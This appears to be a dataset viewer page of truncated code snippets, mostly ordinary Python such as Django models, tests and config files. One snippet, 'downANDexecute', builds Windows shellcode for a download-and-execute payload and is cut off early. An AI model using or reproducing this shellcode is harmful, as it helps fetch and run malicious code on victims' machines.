code stringlengths 1 199k |
|---|
import urlparse
from django.conf import settings
from django.core.files.storage import Storage
from django.utils.text import force_unicode
from django.core.exceptions import ImproperlyConfigured
from django.core.files import File
try:
import oss2
except ImportError:
raise ImproperlyConfigured, "Could not load a... |
import pytest
class TestAPISearch(object):
def test_search_raises(self, scraper):
with pytest.raises(ValueError):
results = scraper.search('/events/', 'EventId',
"MatterFile eq 'O2010-5046'")
list(results)
def test_search(self, scraper):
... |
"""Package contenant la commande 'afk'"""
from primaires.interpreteur.commande.commande import Commande
from primaires.format.fonctions import couper_phrase
class CmdAfk(Commande):
"""Commande 'afk'.
"""
def __init__(self):
"""Constructeur de la commande"""
Commande.__init__(self, "afk", "af... |
import pyaf.Bench.TS_datasets as tsds
import tests.artificial.process_artificial_dataset as art
art.process_dataset(N = 1024 , FREQ = 'D', seed = 0, trendtype = "ConstantTrend", cycle_length = 12, transform = "Logit", sigma = 0.0, exog_count = 100, ar_order = 12); |
"""Package containing the Croissant's unittests.
Each sub-package should correspond to a source package and test
this package's functionalities.
""" |
from urllib.parse import urlparse, parse_qs
from django.test import TransactionTestCase, RequestFactory
from django.contrib.auth.models import Group
from django.http import HttpRequest
from django.conf import settings
from hs_core.hydroshare import resource
from hs_core import hydroshare
from hs_tools_resource.models i... |
from django.db import models
from upy.models import UpyModel
from django.utils.translation import ugettext_lazy as _
class PositionModel(UpyModel):
position = models.PositiveIntegerField(_(u'Position'), default=0)
def __unicode__(self):
return u"%s %s" % (self.__class__.__name__, self.position)
@pro... |
import json
import logging
logger = logging.getLogger(__name__)
LOG_LEVELS = {
'debug': logger.debug,
'info': logger.info,
'error': logger.error,
}
class MessageConnection(object):
authenticator_class = None
pubsub = None
def __init__(self, *args, **kwargs):
# Initialize authenticator an... |
import datetime
from celery.schedules import crontab
from celery.task import periodic_task
from corehq.apps.commtrack.models import CommTrackUser, SupplyPointCase
from corehq.apps.sms.api import send_sms_to_verified_number
from custom.ilsgateway.models import SupplyPointStatusValues, SupplyPointStatusTypes
from custom.... |
from __future__ import absolute_import, unicode_literals
import hashlib
import os
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.core.paginator import EmptyPage, PageNotAnInteger, Paginator
from django.db import models
from django.... |
from __future__ import unicode_literals, absolute_import
from django.conf.urls import url, include
from django.contrib import admin
urlpatterns = [
url(r'^admin/', admin.site.urls),
] |
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('base', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
name='siteprofile',
options={'verbose_name': 'FBaumProfil'... |
"""
Feature extraction
==================
Spectral features
-----------------
.. autosummary::
:toctree: generated/
chroma_stft
chroma_cqt
melspectrogram
mfcc
rmse
spectral_centroid
spectral_bandwidth
spectral_contrast
spectral_rolloff
poly_features
tonnetz
zero_cross... |
from __future__ import unicode_literals, division, absolute_import
from builtins import * # noqa pylint: disable=unused-import, redefined-builtin
import logging
from math import ceil
from flask import jsonify, request
from sqlalchemy import desc, asc
from flexget.api import api, APIResource
from flexget.api.app import... |
from flask import jsonify, abort
from systemofrecord import app
from systemofrecord.repository import blockchain_object_repository
class LoadObjectController(object):
def load_object(self, object_id):
loaded_object = blockchain_object_repository.load_most_recent_object_with_id(object_id)
if loaded_o... |
if name == 'Alice':
print('Hi, Alice.')
elif age < 12:
print('You are not Alice, kiddo.')
elif age > 2000:
print('Unlike you, Alice is not an undead, immortal vampire.')
elif age > 100:
print('You are not Alice, grannie.') |
"""Provides device triggers for remotes."""
from __future__ import annotations
from typing import Any
import voluptuous as vol
from homeassistant.components.automation import (
AutomationActionType,
AutomationTriggerInfo,
)
from homeassistant.components.device_automation import toggle_entity
from homeassistant.... |
from plotly.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class YAxis(_BaseLayoutHierarchyType):
# class properties
# --------------------
_parent_path_str = "layout.xaxis.rangeslider"
_path_str = "layout.xaxis.rangeslider.yaxis"
_valid_props = {"range... |
def downANDexecute( payload ):
shellcode = r"\x31\xc9\xb9\x57\x69\x6e\x45\xeb\x04\x31\xc9\xeb\x00\x31\xc0\x31"
shellcode += r"\xdb\x31\xd2\x31\xff\x31\xf6\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f"
shellcode += r"\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89"
shellcode += r"\xc7\x03\x78\x3... |
import json
from unittest.mock import patch
import pytest
from GoogleCalendar import MESSAGES, OUTPUT_PREFIX, GSuiteClient
with open('test_data/service_account_json.txt') as f:
TEST_JSON = f.read()
MOCKER_HTTP_METHOD = 'GSuiteApiModule.GSuiteClient.http_request'
@pytest.fixture
def gsuite_client():
headers = {
... |
from __future__ import unicode_literals
import webnotes
from install_erpnext import exec_in_shell
from webnotes.utils import get_base_path
import os
import pxssh
tables = ['tabPatient Register', 'tabPatient Encounter Entry', 'tabPatient Report']
class DocType:
def __init__(self, d, dl):
self.doc, self.doclist = d, d... |
from unittest import TestCase as PythonTestCase
class TestCase(PythonTestCase):
pass |
import json
from pytest import mark
import demistomock as demisto
from CrowdStrikeFalconStreamingV2 import (get_sample_events,
merge_integration_context)
def test_get_sample_events_with_results(mocker):
"""
Given:
- Samples events stored in the integration context.... |
from typing import Union, Dict, Optional, List
from CommonServerPython import * # noqa: E402 lgtm [py/polluting-import]
requests.packages.urllib3.disable_warnings()
INTEGRATION_CONTEXT_BRAND = "DeHashed"
BASE_URL = "https://api.dehashed.com/"
RESULTS_FROM = 1
RESULTS_TO = 50
class Client(BaseClient):
def __init__(... |
from __future__ import print_function, division
import matplotlib
matplotlib.use('Agg') # Must be before importing matplotlib.pyplot or pylab!
from neuralnilm import Net, RealApplianceSource, BLSTMLayer, SubsampleLayer, DimshuffleLayer
from lasagne.nonlinearities import sigmoid, rectify
from lasagne.objectives import c... |
"""
Django settings for PiPool project.
Generated by 'django-admin startproject' using Django 1.10.5.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
from... |
"""
Database connection that commits and prints each statement sent to it.
"""
import psycopg2
def copy_from(cursor, filename, destination):
"""
Copy data from filename into the database as table destination.
This function exists for unit testing.
:param cursor: Cursor: database connection
:param fi... |
import os
import sys
import numpy as np
import tensorflow as tf
def make_labels(target):
ret = []
for l in target:
tmp = [0.0] * 10
tmp[l] = 1.0
ret.append(tmp)
return np.asarray(ret, dtype = np.float32)
def rescale(imgs):
imgs = imgs/127.5
imgs = imgs - 1.0
return imgs
d... |
from wtforms.fields import TextField
from wtforms.widgets import PasswordInput
from quokka import admin
from quokka.core.admin.models import ModelAdmin
from quokka.utils.translation import _l
from .models import Role, User, Connection
class UserAdmin(ModelAdmin):
roles_accepted = ('admin',)
column_searchable_li... |
import os
import glob
def main():
root = os.getcwd()
pdbs = glob.glob('*')
for p in pdbs:
if os.path.isdir(p):
os.chdir(p) # go inside a folder
cmd = 'rna_calc_inf.py -t struc/' + p + '_M1.pdb struc/*.pdb'
print cmd
#os.system
os.chdir(root... |
from django import forms
from django.core.exceptions import ValidationError
from assessment.models import Quality
from assessment.validator import validate_point
class QualityForm(forms.ModelForm):
class Meta:
model = Quality
fields = ['quality', 'category', 'description']
def __init__(self, *ar... |
''' An access control plugin '''
import os
import ConfigParser
import logging
logger = logging.getLogger(__name__)
def enabled ():
'''
Enabled
Is this plugin enabled. Returning false here
will cause this plugin to be ignored by the
framework entirely.
--
@return bool
... |
meal = 44.50
tax = 0.0675
tip = 0.15
meal = meal+ meal * tax |
'''
The MIT License (MIT)
Copyright (c) 2013 SinnerSchrader Mobile GmbH
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, mo... |
__author__ = "Andre Merzky"
__copyright__ = "Copyright 2013-2014, The AIMES Project"
__license__ = "MIT"
import sys, os
sys.path.insert(0, os.path.abspath('../../'))
print sys.path
extensions = ['sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.intersphinx', 'sphinx.ext.todo', 'sphinx.ext.coverage', 'sphinx.... |
'''
Button Behavior
===============
The :class:`~kivy.uix.behaviors.button.ButtonBehavior`
`mixin <https://en.wikipedia.org/wiki/Mixin>`_ class provides
:class:`~kivy.uix.button.Button` behavior. You can combine this class with
other widgets, such as an :class:`~kivy.uix.image.Image`, to provide
alternative buttons tha... |
int_types = (int, long)
list_like = (type([]), type(()))
compatible_types = {
type(None): (type(None), ),
int: (type(None), int, ),
long: (type(None), int, long, ),
float: (type(None), int, long, float, ),
str: (type(None), str,),
unicode: (type(None), unicode,),
... |
import demistomock as demisto # noqa
import ExpanseAggregateAttributionDevice
INPUT = [
{"serial_number": "serialA", "count": 2, "src": "1.1.1.1"},
{"serial": "serialB", "src": "8.8.8.8", "vsys": "vsys1"},
{"log_source_id": "serialB", "src_ip": "10.0.0.1", "vsys": "vsys1", "count": 5},
{"serial_number"... |
"""
Talks to an XMLRPC server running inside of an active IDA Pro instance,
in order to query it about the database. Allows symbol resolution and
interactive debugging.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_litera... |
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
class DisableWalletTest (BitcoinTestFramework):
def __init__(self):
super().__init__()
self.setup_clean_chain = True
self.num_nodes = 1
def setup_network(self, split=False):
self.node... |
from gemstone.core import MicroService, exposed_method
class ServiceJsonRpcSpecs(MicroService):
name = "test.service"
host = "127.0.0.1"
port = 9999
skip_configuration = True
@exposed_method()
def subtract(self, a, b):
if not isinstance(a, int) or not isinstance(b, int):
rais... |
"""Unittests for mysql.connector.connection
"""
import os
import socket
import logging
import inspect
import timeit
from decimal import Decimal
import StringIO
import tests
from tests import mysqld
from mysql.connector import (connection, network, errors, constants, utils,
cursor)
logger = logging.getLogger(tests.L... |
<<<<<<< HEAD
<<<<<<< HEAD
import sys
import os
import marshal
import importlib.util
import struct
import time
import unittest
from test import support
from zipfile import ZipFile, ZipInfo, ZIP_STORED, ZIP_DEFLATED
import zipimport
import linecache
import doctest
import inspect
import io
from traceback import extract_tb... |
"""Mechanics to slow down wiki read and/or write rate."""
from __future__ import absolute_import, unicode_literals
__version__ = '$Id$'
import math
import threading
import time
import pywikibot
from pywikibot import config
_logger = "wiki.throttle"
pid = False
class Throttle(object):
"""Control rate of access to wi... |
from swgpy.object import *
def create(kernel):
result = Static()
result.template = "object/static/structure/general/shared_planter_generic_style_1.iff"
result.attribute_template_id = -1
result.stfName("obj_n","unknown_object")
#### BEGIN MODIFICATIONS ####
#### END MODIFICATIONS ####
return result |
from msrest.serialization import Model
class ApplicationGatewaySslPolicy(Model):
"""Application gateway SSL policy.
:param disabled_ssl_protocols: SSL protocols to be disabled on application
gateway. Possible values are: 'TLSv1_0', 'TLSv1_1', and 'TLSv1_2'.
:type disabled_ssl_protocols: list of str or
... |
"""
Autodiscovery of all tests for the module.
:copyright:
Lion Krischer (krischer@geophysik.uni-muenchen.de), 2013
:license:
GNU General Public License, Version 3
(http://www.gnu.org/copyleft/gpl.html)
"""
import glob
import inspect
import os
import unittest
import warnings
def suite():
"""
Automat... |
"""
__init__.py
Created by Gabriel Brammer on 2012-01-31.
Copyright (c) 2012 __MyCompanyName__. All rights reserved.
"""
from interp_c import *
from reduce_c import *
from redden_c import * |
import unittest
import numpy
from cupy import testing
@testing.gpu
class TestSearch(unittest.TestCase):
_multiprocess_can_split_ = True
@testing.for_all_dtypes()
@testing.numpy_cupy_allclose()
def test_argmax_all(self, xp, dtype):
a = testing.shaped_random((2, 3), xp, dtype)
return a.arg... |
import matplotlib.pyplot as plt
def trace_signal(t,x,fichier,xlabel='Temps $t$',
ylabel='Signal $x$',grid=True, style='r-'):
plt.figure(0,figsize=(9,5))
plt.clf()
plt.plot(t,x,style,linewidth=2.0)
plt.xlabel(xlabel, fontsize=15)
plt.ylabel(ylabel, fontsize=15)
plt.grid(grid)
plt.savefig(fichier) |
from clock import *
from tkinter import mainloop
gifdir = '../gifs/'
if __name__ == '__main__':
from sys import argv
if len(argv) > 1:
gifdir = argv[1] + '/'
class PPClockBig(PhotoClockConfig):
picture, bg, fg = gifdir + 'ora-pp.gif', 'navy', 'green'
class PPClockSmall(ClockConfig):
size = 17... |
from __future__ import unicode_literals
import rdflib
from django.utils.translation import ugettext as _
from lxml import etree
from six import text_type
from wirecloud.commons.utils.template.base import is_valid_name, is_valid_vendor, is_valid_version, TemplateParseException
from wirecloud.commons.utils.http import pa... |
import logging
from conduct.util import systemCall
from conduct.buildsteps import *
app = None |
import rose.upgrade
from .version34_40 import *
from .version40_41 import *
from .version41_42 import *
from .version42_43 import *
from .version43_44 import *
from .version44_45 import *
from .version45_46 import *
class vn46_txxx(rose.upgrade.MacroUpgrade):
"""Upgrade macro from JULES by Author"""
BEFORE_TAG ... |
import os
import time
import json
import random
import requests
import threading
import Queue
import pickle
import logging
from pyquery import PyQuery
from lib.mysession import MySession
from lib.dama import Dama
class JDongM():
"""jdong触屏版"""
item = '1056969'
def __init__(self, username, password, address=None):
... |
"""Platform abstracted Process utilitites"""
import platform
import subprocess
import sys
PIPE = subprocess.PIPE
class Process(subprocess.Popen):
def __init__(self, args, bufsize=0, executable=None, stdin=None,
stdout=None, stderr=None, shell=False, cwd=None, env=None,
quiet=True):... |
import os
import subprocess
import dbus
import sys
import gi
gi.require_version('Gtk', '3.0')
from gi.repository import Gtk,GLib
from Dell.recovery_common import (DOMAIN, LOCALEDIR, UIDIR, SVGDIR, DBUS_INTERFACE_NAME,
DBUS_BUS_NAME, dbus_sync_call_signal_wrapper,
... |
import unittest
import logging
import sys
import re
from testbase import *
REGEX_PKG = re.compile(r"(\d*):?(.*)-(.*)-(.*)\.(.*)$")
class SkipBrokenTests(DepsolveTests):
''' Test cases to test skip-broken'''
def setUp(self):
DepsolveTests.setUp(self)
self.xrepo = FakeRepo("TestRepository", self.x... |
__title__ = "make Valve 3D models"
__author__ = "Stefan, based on DIP script"
__Comment__ = 'make varistor 3D models exported to STEP and VRML for Kicad StepUP script'
___ver___ = "1.3.3 14/08/2015"
from collections import namedtuple
import math
import sys, os
import datetime
from datetime import datetime
sys.path.appe... |
from sys import exit
from sys import path as syspath
from bisect import bisect_left
from os import path
from argparse import ArgumentParser as parser
from ConfigParser import ConfigParser
import time
import numpy as np
import numpy.random as nprand
from scipy import integrate
from scipy.optimize import brentq
from snap... |
"""
Misc tools for implementing data structures
"""
import sys
import warnings
from datetime import datetime, timedelta
from functools import partial
import inspect
import collections
import numpy as np
from pandas._libs import lib, tslib
from pandas import compat
from pandas.compat import long, zip, iteritems
from pan... |
import os
import tempfile
import copy
import numpy as np
import numpy.random as npr
import scipy.linalg as spla
import scipy.stats as sps
import scipy.optimize as spo
import cPickle
import multiprocessing
import ast
def compute_ei(model, pred, ei_target=None, compute_grad=True):
# TODO: use ei_targe... |
import re,urllib,urlparse,base64
from liveresolver.modules import client
def resolve(url):
try:
id = urlparse.parse_qs(urlparse.urlparse(url).query)['c'][0]
url = 'http://castamp.com/embed.php?c=%s&vwidth=640&vheight=380'%id
pageUrl=url
try:
referer = urlparse.parse_qs(u... |
import sys, os
sys.path.insert(0, os.path.abspath('..'))
sys.path.insert(0, os.path.abspath('../pytomo'))
extensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx',
'sphinx.ext.viewcode']
templates_path = ['_templates']
source_suffix = '.rst'
master_doc = 'index'
project = u'Pytomo'
copyright = u'2012,... |
u"""Manage the Trados .txt Translation Memory format
A Trados file looks like this:
.. code-block:: xml
<TrU>
<CrD>18012000, 13:18:35
<CrU>CAROL-ANN
<UsC>0
<Seg L=EN_GB>Association for Road Safety \endash Conference
<Seg L=DE_DE>Tagung der Gesellschaft für Verkehrssicherheit
</TrU>
<TrU... |
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'CatalogueResource'
db.create_table('catalogue_catalogueresource', (
('id', self.gf('django.db.models.fields.AutoField')(pri... |
import sys
from functools import partial
from PyQt4 import QtGui, QtCore
from PyQt4.QtCore import pyqtSignal
class SortableCheckboxListWidget(QtGui.QWidget):
_CHECKBOX_POS = 0
_BUTTON_UP = 1
_BUTTON_DOWN = 2
__no_emit = False
changed = pyqtSignal(list)
def __init__(self, parent=None):
su... |
from django.db.models.signals import post_save
from django.dispatch import receiver
from edc_constants.constants import BY_BIRTH
from ..models import InfantBirth
@receiver(post_save, weak=False, dispatch_uid='update_infant_registered_subject_on_post_save')
def update_infant_registered_subject_on_post_save(sender, insta... |
from django.db.transaction import is_dirty, leave_transaction_management, rollback, commit, enter_transaction_management, managed
from django.db import DEFAULT_DB_ALIAS
from django.http import HttpResponse
try:
from django.db.transaction import atomic, set_rollback
def commit_on_http_success(func, using=None):
... |
from ....const import GRAMPS_LOCALE as glocale
_ = glocale.translation.gettext
from .. import Rule
class Disconnected(Rule):
"""Matches disconnected people"""
name = _('Disconnected people')
category = _('General filters')
description = _('Matches people that have no family relationships '
... |
import logging
from pymlab import config
logging.basicConfig(level = logging.DEBUG)
cfg = config.Config()
cfg.load_file("../config.py") |
from __future__ import (absolute_import, division, print_function)
from mantid.api import * # PythonAlgorithm, registerAlgorithm, WorkspaceProperty
from mantid.kernel import *
from mantid.simpleapi import *
class GetNegMuMuonicXRD(PythonAlgorithm):
#Dictionary of <element>:<peaks> easily extendible by user.
muo... |
from __future__ import absolute_import, division, print_function
__metaclass__ = type
FILE_ATTRIBUTES = {
'A': 'noatime',
'a': 'append',
'c': 'compressed',
'C': 'nocow',
'd': 'nodump',
'D': 'dirsync',
'e': 'extents',
'E': 'encrypted',
'h': 'blocksize',
'i': 'immutable',
'I': ... |
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Repute.comment'
db.add_column(u'repute', 'comment', self.gf('django.db.models.fields.CharField')(max_length=128, null=T... |
from django.contrib.auth.models import User
from django.utils import timezone
from gndata_api.baseassets import BaseAssets
from metadata.models import *
import random
class Assets(BaseAssets):
"""
Creates test Documents and Sections. All sections have a random property
with a random value.
d... |
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
import sapl.comissoes.models
import sapl.utils
class Migration(migrations.Migration):
dependencies = [
('comissoes', '0002_auto_20170809_1236'),
]
operations = [
migrations.Creat... |
"""
Test cases for the repr module
Nick Mathewson
"""
import sys
import os
import shutil
import unittest
from test.support import run_unittest
from reprlib import repr as r # Don't shadow builtin repr
from reprlib import Repr
def nestedTuple(nesting):
t = ()
for i in range(nesting):
t = (t,)
ret... |
try:
import scipy
except ImportError:
print "Please install SciPy to run this script (http://www.scipy.org/)"
raise SystemExit, 1
try:
from pylab import *
except ImportError:
print "Please install Matplotlib to run this script (http://matplotlib.sourceforge.net/)"
raise SystemExit, 1
from optpar... |
"""
WSGI config for hitcount_example project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/
"""
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hitcount_example.settings")
from... |
DEBUGME = False
import os
import re
import sys
from unidecode import unidecode
import zipfile
from datetime import datetime
from django.core.management.base import BaseCommand, CommandError
import askbot.importers.stackexchange.parse_models as se_parser
from xml.etree import ElementTree as et
from django.db.models impo... |
"""Satin Package initializer.
""" |
import hangups
import random
import plugins
def _initialise(bot):
plugins.register_user_command(["kill"])
def kill(bot, event, target, *args):
verbs = ['shreks',
'wobs up',
'murders',
'kills',
'decimates',
'stabs',
'annihilates',
... |
import xbmc, xbmcgui
import shutil
import urllib2,urllib
import xbmcaddon
addon = xbmcaddon.Addon('skin.qonfluence')
addonPath = xbmcaddon.Addon('skin.qonfluence').getAddonInfo("path")
image = os.path.join(addonPath,'notification.png')
language = addon.getLocalizedString
localtxt1 = language(31221) # EPG en PV... |
from typing import List
def add(lst: List[int]) -> int:
"""Calculate the sum of the elements in the given list."""
temp = 0
for item in lst:
temp += item
temp # Error on this line |
"""Combines a CSV of black spot predictions with road segments to output blackspot geometries
The modeling outputs a CSV containing blackspots and a geometry ID corresponding to the 'id' column
in the combined segments shapefile. To visualize this or load it into the DRIVER web app, this
script recombines the detected ... |
import sys, os, Ice
ROBOCOMP = ''
try:
ROBOCOMP = os.environ['ROBOCOMP']
except:
print('$ROBOCOMP environment variable not set, using the default value /opt/robocomp')
ROBOCOMP = '/opt/robocomp'
if len(ROBOCOMP)<1:
raise RuntimeError('ROBOCOMP environment variable not set! Exiting.')
Ice.loadSlice("-I .... |
"""Get and return a free unused port or check if a port is free to use.
NOTE: See https://github.com/joewalnes/port-sharding#what-is-this for info."""
import logging as log
import socket
def get_free_port(port_range: tuple=None) -> int:
"""Get and return a free unused port."""
sockety = socket.socket(socket.AF_... |
import pytest
from django import forms
from pootle.core.forms import FormtableForm
from pootle_store.models import Unit
from pootle_project.models import Project
class DummyFormtableForm(FormtableForm):
search_field = "units"
units = forms.ModelMultipleChoiceField(
Unit.objects.order_by("id"),
r... |
"""
AquaButton is another custom-drawn button class which *approximatively* mimics
the behaviour of Aqua buttons on the Mac.
Description
===========
AquaButton is another custom-drawn button class which *approximatively* mimics
the behaviour of Aqua buttons on the Mac. At the moment this class supports:
* Bubble and sh... |
import urllib.request, urllib.error, urllib.parse
req = urllib.request.Request('http://localhost:5000/download/start')
req.add_header('key', '123456789')
resp = urllib.request.urlopen(req)
content = resp.read() |
from population_characteristics.charts.operations import *
from population_characteristics.charts.aggregation import *
class ConfAggregations(object):
def __init__(self):
# TODO
pass
def read_settings_from_file(self):
# TODO
pass
""" get the default settings to load
"""
... |
from __future__ import unicode_literals
import sys, traceback, os, shutil
import lupa
from PySide import QtGui
from . import modals
from ..application import app
def importAsset(parent, fileName=""):
try:
project = app.project(parent)
noProject = not project
except KeyError:
noProject = ... |
from __future__ import print_function
import datetime
import numpy as np
import pandas as pd
import sklearn
from pandas.io.data import DataReader
from sklearn.ensemble import RandomForestClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.lda import LDA
from sklearn.metrics import confusion_matr... |
from __future__ import print_function
import sys, time, os, socket
import struct, binascii, re, csv
from datetime import datetime, timedelta
from twisted.protocols.basic import LineReceiver
from twisted.internet import reactor
from twisted.python import usage, log
from twisted.internet.serialport import SerialPort
from... |
from __future__ import absolute_import, division, print_function
__metaclass__ = type
from ansible.module_utils._text import to_text
from ansible.module_utils.basic import env_fallback, return_values
from ansible.module_utils.network_common import to_list, EntityCollection
from ansible.module_utils.connection import Co... |
import _surface
import chimera
try:
import chimera.runCommand
except:
pass
from VolumePath import markerset as ms
try:
from VolumePath import Marker_Set, Link
new_marker_set=Marker_Set
except:
from VolumePath import volume_path_dialog
d= volume_path_dialog(True)
new_marker_set= d.new_marker_set
marker_set... |
'''
tuning using 4 corrector direct sase optimization
'''
from time import sleep
from pylab import *
from scipy.optimize import *
import ocelot.mint.swig.dcs as dcs
from rf import *
blm_names = ['14L.SMATCH',
'14R.SMATCH',
'1L.UND1',
'1R.UND1',
'1L.UND2',
'1R.UND2',
... |
from geonode.tests.base import GeoNodeBaseTestSupport
import json
from django.core.urlresolvers import reverse
from tastypie.test import ResourceTestCaseMixin
from django.contrib.auth import get_user_model
from guardian.shortcuts import get_anonymous_user, assign_perm, remove_perm
from geonode import geoserver
from geo... |
"""
This class is used to insert data to a db (currently elasticsearch).
It uses an internal list which is used to keep messages in the memory.
addRecord is used to insert messages to the internal queue. commit is used
to insert the acumulated messages to elasticsearch.
It provides two failover mechanism:
1.) If the da... |
import unittest
import os
import re
import countTest
def package_contents():
files = os.listdir()
# Use a set because some may be both source and compiled.
return set([os.path.splitext(module)[0]
for module in files
if re.match(r'[tT]est.*\.py', module)])
def print_all_testcases(testcaseList... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.